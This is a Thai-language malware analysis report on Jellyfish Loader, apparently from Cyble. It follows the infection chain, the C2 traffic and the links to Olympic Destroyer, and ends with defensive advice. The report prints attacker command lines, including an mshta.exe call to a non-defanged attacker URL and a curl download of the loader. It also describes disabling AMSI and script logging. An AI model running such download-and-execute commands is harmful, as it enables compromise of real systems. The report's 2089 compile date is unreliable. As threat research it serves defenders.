รายงานการวิเคราะห์ Jellyfish Loader ตัวใหม่
นักวิจัยจาก CRIL พบไฟล์ ZIP ที่ถูกอัปโหลดมาจากประเทศโปแลนด์ โดยภายในไฟล์นี้มีไฟล์ Windows shortcut (.lnk) ซึ่งเมื่อเรียกใช้งานไฟล์ .lnk จะเปิดไฟล์ PDF ที่ไม่มีอะไรผิดปกติ จากนั้นจะดาวน์โหลด และเรียกใช้งาน shellcode loader ตัวใหม่ที่สร้างด้วย .NET ชื่อว่า JellyfishLoader
Jellyfish Loader ตัวใหม่นี้ มีความโดดเด่นในเรื่องการที่ไม่ได้พยายามทำการ obfuscation โดยมีโครงสร้างโค้ดที่ชัดเจนเพื่อจัดการการสื่อสารที่ปลอดภัยผ่านการตรวจสอบ SSL certificate โดยจะมีการเตรียม JSON payloads ส่ง HTTP POST requests และมีความสามารถในการดาวน์โหลด และเรียกใช้งาน shellcode ได้ นอกจากนี้การใช้ AsyncTaskMethodBuilder และโค้ดที่คล้ายกับการทำงานของ state machine เป็นลักษณะเฉพาะของวิธีที่สร้างขึ้นโดยคอมไพเลอร์ C# เพื่อดำเนินการแบบ asynchronous (ดำเนินการแบบไม่ต้องรอให้เสร็จในทันที)
Jellyfish Loader จะพยายามเชื่อมต่อกับ URL “hxxps://ping.connectivity-check[.]com” และพยายามดาวน์โหลด shellcode อย่างไรก็ตามในระหว่างการทดสอบ ไม่สามารถดาวน์โหลด shellcode ได้สำเร็จ โดยโดเมน “connectivity-check[.]com” ถูกใช้งานโดยเอกสารที่เป็นอันตรายสองไฟล์ ซึ่งมีความคล้ายกับเอกสารที่ใช้ใน Olympic Destroyer ในปี 2018 โดยกลุ่มผู้ไม่หวังดีชาวรัสเซียชื่อ Hades Olympic Destroyer ซึ่งเป็นการโจมตีทางไซเบอร์ที่ซับซ้อนที่มุ่งเน้นการทำลาย ซึ่งมีเป้าหมายเป็นผู้จัดงาน, ซัพพลายเออร์ และพันธมิตรของการแข่งขันโอลิมปิดฤดูหนาวปี 2018 ในพยองชาง ประเทศเกาหลีใต้ การโจมตีครั้งนั้นมีการแพร่กระจายของ network worm ที่มีวัตถุประสงค์เพื่อขัดขวางการจัดงาน
รายละเอียดทางเทคนิค
CRIL พบไฟล์ zip ชื่อ Lisa.pdf.zip โดยมีค่า sha256 เป็น "66d24e2081fcfe3ffdcf80e208553f32b088c7e863668ab3813ba980e1efbc2c" ที่ไม่ทราบแหล่งที่มา ภายในไฟล์นี้มีไฟล์ .lnk ถูกตั้งค่าให้รันไฟล์ JavaScript โดยใช้ mshta.exe ซึ่งมีการใส่ช่องว่างเพื่อปิดบัง URL จริง ดังภาพด้านล่าง
ผู้ไม่หวังดีเพิ่มข้อมูลที่ไม่เกี่ยวข้องลงไปในไฟล์ .lnk เพื่อเพิ่มขนาดของไฟล์ โดยตั้งใจเพื่อหลีกเลี่ยงการตรวจจับ ดังภาพด้านล่าง
คำสั่งของไฟล์ .lnk มีดังนี้
- “C:\Windows\System32\mshta.exe” “http://file.compute-ec2-aws.com/0d9cb9fe-5714-433c-aa58-0f26675979f0“
การโจมตีนี้มี URL ภายนอกที่ใช้ในการโฮสต์ JavaScript ที่ถูกซ่อนรหัสไว้ โดยเมื่อไฟล์ .lnk ถูกเรียกใช้โดย mshta.exe จะดำเนินพฤติกรรมที่เป็นอันตรายเพิ่มเติม
สคริปต์ JavaScript ที่เป็นอันตรายนี้จะดาวน์โหลดไฟล์ PDF ที่ปลอดภัย และ Jellyfish Loader
ตัวอย่างคำสั่งที่สคริปต์ดำเนินการเพื่อดาวน์โหลดไฟล์ Jellyfish Loader
- “C:\Windows\System32\curl.exe” “hxxps://file.compute-ec2-aws.com/BinSvc.exe” -o “C:\Users\MalWorkstation\AppData\Local\Microsoft\BinSvc.exe”
ไฟล์ PDF ปลอม มีรูปภาพของกุญแจภายในเอกสาร ซึ่งทำให้ยากต่อการระบุแรงจูงใจ และเป้าหมายของแคมเปญ
Jellyfish Loader
Jellyfish Loader ที่ชื่อว่า "BinSvc.exe" เป็นไฟล์ปฏิบัติการขนาด 64-bit ที่ใช้ .NET เป็นพื้นฐาน มี SHA-256 เป็น "e654e97efb6214bea46874a49e173a3f8b40ef30fd0179b1797d14bcc2c2aa6c" การวิเคราะห์โค้ดพบว่าชื่อของมันคือ JellyfishLoader วันที่คอมไพล์คือวันที่ 18 มิถุนายน 2089 และเวอร์ชันคือ 0.3.2 ซึ่งยังอยู่ในช่วงเริ่มต้นของการพัฒนา
Asynchronous Main Method
เมธอด Main ทำหน้าที่เป็นจุดเริ่มต้นของแอปพลิเคชัน และเป็น asynchronous ซึ่งคืนค่า Task ที่ซับซ้อนของ syntax ซึ่งมาจากโค้ดที่สร้างขึ้นอัตโนมัติ โดยเป็นฟีเจอร์ที่พบบ่อยในเมธอด async ที่ถูกคอมไพล์เป็น Intermediate Language (IL)
Compressed DLLs
ไฟล์ปฏิบัติการใช้ Fody ซึ่งเป็นเครื่องมือที่สามารถเชื่อมต่อกับ .NET แอสเซมบลีได้ Fody ช่วยในการแก้ไข Intermediate Language (IL) ของแอสเซมบลีระหว่างการคอมไพล์ ซึ่งเป็น task ที่ต้องมีการเขียนโค้ดที่ซับอย่างอย่างมาก นอกจากนี้โปรแกรมยังใช้ Costura ซึ่งเป็น add-in ของ Fody ที่ใช้สำหรับซ่อน dependencies และนำมาใช้เป็น resources ใน executable ด้วย
loader ประกอบด้วย Support DLLs ซึ่งถูก compressed และจะถูก decompressed ในขณะที่โปรแกรมกำลังดำเนินการ ไฟล์ DLL ที่ถูก compressed อยู่ในส่วนของ Resource ของ executable
ภาพด้านล่างเป็นไฟล์ DLL ที่ถูก compressed
System Information
Jellyfish loader จะ extracted ข้อมูลพื้นฐานของระบบจากระบบที่ถูกโจมตี และจัดเก็บในรูปแบบของสตริง JSON
ภาพด้านล่างแสดงข้อมูลที่ถูก extracted ออกจาก Jellyfish loader
Base64 Encoding
หลักจากเก็บรวบรวมข้อมูลของระบบในรูปแบบของสตริง JSON ได้แล้ว ข้อมูลจะถูกเข้ารหัส Base-64
ภาพด้านล่างแสดงการทำงานในการเข้ารหัสข้อมูล
C2 Server
หลังจากที่ทำการเข้ารหัส และจัดเตรียมข้อมูล loader จะใช้เมธอด SendPostRequest() ซึ่งรับ URL และ UUID เป็นอาร์กิวเมนต์ และส่ง HTTP POST request ไปยัง URL "hxxps://ping.connectivity-check[.]com"
SSL Certificate Validation
loader มีเมธอด ValidateServerCertificate ที่ใช้ในการตรวจสอบ SSL certificate ของเซิร์ฟเวอร์ โดยที่จะตรวจสอบว่า certificate ได้รับการตรวจสอบแล้วหรือไม่ (isCertificateValidated) และถ้าหากยังไม่ได้ทำการตรวจสอบ certificate ก็จะพยายามตรวจสอบโดยการเรียกใช้เมธอด IsCertificatePinned ถ้าหาก certificate ตรงกับที่ pinned ไว้จะทำการตั้งค่า isCertificateValidated เป็น true
ภาพด้านล่างแสดงโค้ดสำหรับการตรวจสอบ SSL Certificate
ShellCode Runner
ขณะวิเคราะห์ loader พบว่า C2 Server ไม่ได้ส่ง shellcode ที่คาดไว้กลับมา ทำให้ไม่สามารถทำการตรวจสอบเพิ่มเติมได้ อย่างไรก็ตาม loader มีฟังก์ชันที่ออกแบบมาเพื่อ execute shellcode ซึ่งแสดงให้เห็นว่ามันมีความสามารถในการประมวลผล และเรียกใช้งาน shellcode ที่ได้รับมาจาก C2 Server
Domain Analysis
C2 Server “connectivity-check[.]com” ถูกพบครั้งแรกในปี 2016 และได้รับการจดทะเบียนภายใต้ ASN ต่าง ๆ
ผู้ไม่หวังดีมักใช้ ASN 16509 (AMAZON-02) ในการลงทะเบียนตั้งแต่ปี 2019 แสดงให้เห็นว่าผู้ไม่หวังดีคนเดียวกันอาจจดทะเบียนโดเมนโดยใช้ที่อยู๋ IP ที่แตกต่างกัน โดยผู้ไม่หวังดีได้สร้าง subdomains หลายรายการที่ออกแบบมาเพื่อให้ดูเหมือนเป็นการตรวจสอบการเชื่อมต่อที่ถูกต้องสำหรับการติดต่อ และสั่งการจาก C2 Server
สิ่งที่น่าสนใจคือพบว่าไฟล์ DOC ที่เป็นมัลแวร์สองรายการถูกส่งไปยัง VirusTotal ในปี 2018 ซึ่งเชื่อมต่อกับโดเมนเดียวกันคือ "connectivity-check[.]com" เพื่อดาวน์โหลดสคริปต์ PowerShell เพื่อดำเนินการที่เป็นอันตราย
สคริปต์นี้จะตรวจสอบก่อนว่าเวอร์ชัน PowerShell เป็นเวอร์ชันที่มากกว่า 3 หรือไม่ หากเงื่อนไขนี้เป็นจริง จะดำเนินการปิดการบันทึกสคริปต์ PowerShell และ Antimalware Scan Engine (AMSI) ก่อนที่จะดำเนินการต่อ จากนั้นจะเชื่อมต่อไปยัง C2 Server เพื่อดึงข้อมูล payload ที่ถูกเข้ารหัสไว้จากเซิร์ฟเวอร์ภายนอก ข้อมูล payload นี้ถูกเข้ารหัสด้วย RC4 และการถอดรหัสนั้นจะทำโดยใช้ key ที่กำหนดไว้ล่วงหน้าในสคริปต์ PowerShell หลังจากถอดรหัสแล้ว เนื้อหาจะถูกดำเนินการโดยใช้ Invoke-Expression cmdlet
การเขียนโค้ดที่ใช้ในการปิดการบันทึกสคริปต์, การถอดรหัส RC4 และฟังก์ชันที่ออกแบบมาเพื่อดาวน์โหลดข้อมูลที่เข้ารหัสที่คล้ายกับเทคนิคของ Olympic Destroyer ที่ได้รับการรายงานโดย Kaspersky ในบล็อกปี 2018 ภายหลัง Kaspersky ได้ระบุว่า Olympic Destroyer เกี่ยวข้องกับกลุ่ม Hades ซึ่งใช้ Empire PowerShell เป็น final payload
คำแนะนำ
- ใช้โซลูชันป้องกันไวรัส และมัลแวร์ที่มีประสิทธิภาพ ซึ่งสามารถตรวจจับ และลดผลกระทบจากการโจมตีที่ใช้ shellcode ได้ ควรอัปเดต Signature และความสามารถในการตรวจจับอย่างสม่ำเสมอ
- จัดทำ Network Segment เพื่อจำกัดการ lateral movement ของมัลแวร์ภายในองค์กร และลดผลกระทบจากการโจมตีที่อาจเกิดขึ้น
- ใช้วิธีการ Application whitelisting เพื่ออนุญาตเฉพาะแอปพลิเคชันที่ได้รับอนุญาตเท่านั้นที่จะดำเนินการได้
- ใช้การ monitoring network อย่างต่อเนื่องเพื่อตรวจจับรูปแบบการรับส่งข้อมูลที่ผิดปกติ หรือการเชื่อมต่อที่บ่งบอกถึงการดำเนินการ shellcode หรือการติดต่อสื่อสารกับ C2 Server
- ตรวจสอบการรับส่งข้อมูลเครือข่ายอย่างต่อเนื่องเพื่อหากิจกรรมที่ผิดปกติ เช่น ความพยายามเชื่อมต่อกับ URL ที่เป็นอันตราย หรือความพยายามในการขโมยข้อมูล
- ใช้การตรวจสอบ SSL/TLS เพื่อตรวจสอบการรับส่งข้อมูลที่เข้ารหัส และตรวจจับกิจกรรมที่เป็นอันตรายที่ซ่อนอยู่ภายใน
ที่มา : CYBLE
You must be logged in to post a comment.